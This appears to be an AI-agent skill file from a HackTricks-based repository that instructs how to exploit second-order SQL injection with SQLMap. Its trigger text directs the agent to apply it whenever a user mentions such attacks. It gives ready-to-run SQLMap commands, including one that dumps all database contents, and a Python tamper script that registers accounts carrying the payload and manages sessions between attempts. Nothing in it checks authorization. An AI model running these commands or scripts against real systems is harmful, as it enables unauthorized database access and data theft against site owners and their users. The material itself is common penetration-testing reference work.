Hacktricks-skills sqlmap-second-order-injection
How to exploit Second Order SQL Injection vulnerabilities using SQLMap. Use this skill whenever the user mentions second-order SQLi, stored SQL injection, SQLMap with --second-url or --second-req, or needs to chain multiple requests to exploit a SQL injection where the payload is saved in one request and executed in another. Also use when users need to create custom SQLMap tamper scripts for complex injection flows involving account creation, login sequences, or multi-step authentication.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap/SKILL.MDSecond Order SQL Injection with SQLMap
This skill helps you exploit Second Order SQL Injection vulnerabilities using SQLMap. In second-order SQLi, the malicious payload is stored in one request and executed in a different request.
When to Use This Skill
Use this skill when:
- You've identified a SQL injection point where the payload gets stored (e.g., in a database during registration)
- The payload executes later when data is retrieved (e.g., viewing user details, profile pages)
- You need to chain multiple HTTP requests to complete the exploitation
- You need to create custom SQLMap tamper scripts for complex authentication flows
Basic Second Order SQLi with SQLMap
Simple Case: Two Requests
You need to provide:
- The request where the SQL injection payload is saved (e.g., registration, profile update)
- The request where the payload will be executed (e.g., viewing stored data)
# Get the SQL payload execution with a GET to a URL sqlmap -r login.txt -p username --second-url "http://target.com/details.php" # Get the SQL payload execution sending a custom request from a file sqlmap -r login.txt -p username --second-req details.txt
Parameters explained:
: Request file containing the payload storage request-r login.txt
: Parameter to inject the payload into-p username
: URL where the stored payload will be executed--second-url
: Request file for the execution request (use when you need custom headers/methods)--second-req
Complex Second Order SQLi with Tamper Scripts
In many cases, the simple approach won't work because you need to perform additional actions between saving and executing the payload (e.g., create account, logout, login, view profile).
Using Custom Tamper Scripts
SQLMap tamper scripts execute before each injection attempt and must return a payload. You can use them to perform side effects like creating accounts or managing sessions.
Template tamper script (see
scripts/second-order-tamper-template.py for a customizable version):
#!/usr/bin/env python import re import requests from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def perform_setup_actions(payload): """ Perform any actions needed before the injection attempt. This runs BEFORE each payload is tested. """ proxies = {'http': 'http://127.0.0.1:8080'} cookies = {"PHPSESSID": "your-session-id"} # Example: Create account with payload in email field params = {"username": "testuser", "email": payload, "password": "password123"} url = "http://target.com/create.php" requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) # Example: Logout url = "http://target.com/exit.php" requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) perform_setup_actions(payload) return payload # Must return the payload (can be modified or unchanged)
Full SQLMap Command for Complex Flows
sqlmap \ --tamper tamper.py \ -r login.txt \ -p email \ --second-req second.txt \ --proxy http://127.0.0.1:8080 \ --prefix "a2344r3F'" \ --technique=U \ --dbms mysql \ --union-char "DTEC" \ -a
Parameter breakdown:
| Parameter | Purpose |
|---|---|
| Custom tamper script to run before each injection attempt |
| Request file for payload storage |
| Target parameter for injection |
| Request file for payload execution |
| Proxy server (e.g., Burp Suite) |
| Force UNION-based injection technique |
| Specify database management system |
| Known prefix to help detect injection point |
| Custom UNION character for identification |
| Dump all data (level 5, risk 3) |
Workflow Guide
Step 1: Identify the Injection Points
- Storage point: Where does the payload get saved? (registration, profile update, comment form)
- Execution point: Where does the stored data get retrieved and displayed? (profile view, user details, comment display)
Step 2: Capture the Requests
Use Burp Suite or similar to capture:
- Request 1 (storage): Save as
or similarlogin.txt - Request 2 (execution): Save as
or usesecond.txt--second-url
Step 3: Determine if You Need a Tamper Script
You need a tamper script if:
- You must create an account with the payload before testing
- You need to authenticate/logout between requests
- The execution requires a specific session state
- Multiple sequential actions are needed
You don't need a tamper script if:
- The payload is stored and executed in a simple two-request flow
- No additional authentication or state management is required
Step 4: Run SQLMap
Start with basic commands, then add complexity as needed:
# Start simple sqlmap -r storage.txt -p parameter --second-url "http://target.com/execution" # Add tamper if needed sqlmap --tamper tamper.py -r storage.txt -p parameter --second-req execution.txt # Add optimization hints sqlmap --tamper tamper.py -r storage.txt -p parameter --second-req execution.txt --technique=U --dbms mysql
Common Scenarios
Scenario 1: Registration → Profile View
Flow:
- Register with SQLi payload in email field
- View profile page where email is displayed
Command:
sqlmap -r register.txt -p email --second-url "http://target.com/profile.php"
Scenario 2: Registration → Logout → Login → View Details
Flow:
- Create account with payload in email
- Logout
- Login with created account
- View user details page
Solution: Use custom tamper script (see template in
scripts/second-order-tamper-template.py)
Scenario 3: Comment Form → Comment Display
Flow:
- Submit comment with SQLi payload
- View page where comments are displayed
Command:
sqlmap -r comment.txt -p comment_text --second-url "http://target.com/thread.php?id=123"
Tips and Best Practices
- Start simple: Try
before creating custom tamper scripts--second-url - Use proxies: Always route through Burp Suite (
) to inspect traffic--proxy http://127.0.0.1:8080 - Help SQLMap: Use
,--technique
, and--dbms
to reduce detection time--prefix - Test tamper scripts: Verify your tamper script works independently before using with SQLMap
- Session management: Ensure cookies and sessions are properly handled in tamper scripts
- Rate limiting: Second-order attacks may be slower; use
if needed--delay
Troubleshooting
| Issue | Solution |
|---|---|
| SQLMap doesn't detect injection | Add with known prefix, try different values |
| Tamper script not executing | Check is set, verify script is in SQLMap's tamper directory |
| Session issues | Ensure cookies are properly passed in tamper script and requests |
| Slow detection | Add parameter, reduce and |
| False positives | Use to help SQLMap identify the injection point |
References
- SQLMap documentation: https://sqlmap.org/
- Tamper script development: https://github.com/sqlmapproject/sqlmap/wiki/Tamper-scripts
- Second-order SQL injection: https://portswigger.net/web-security/sql-injection/second-order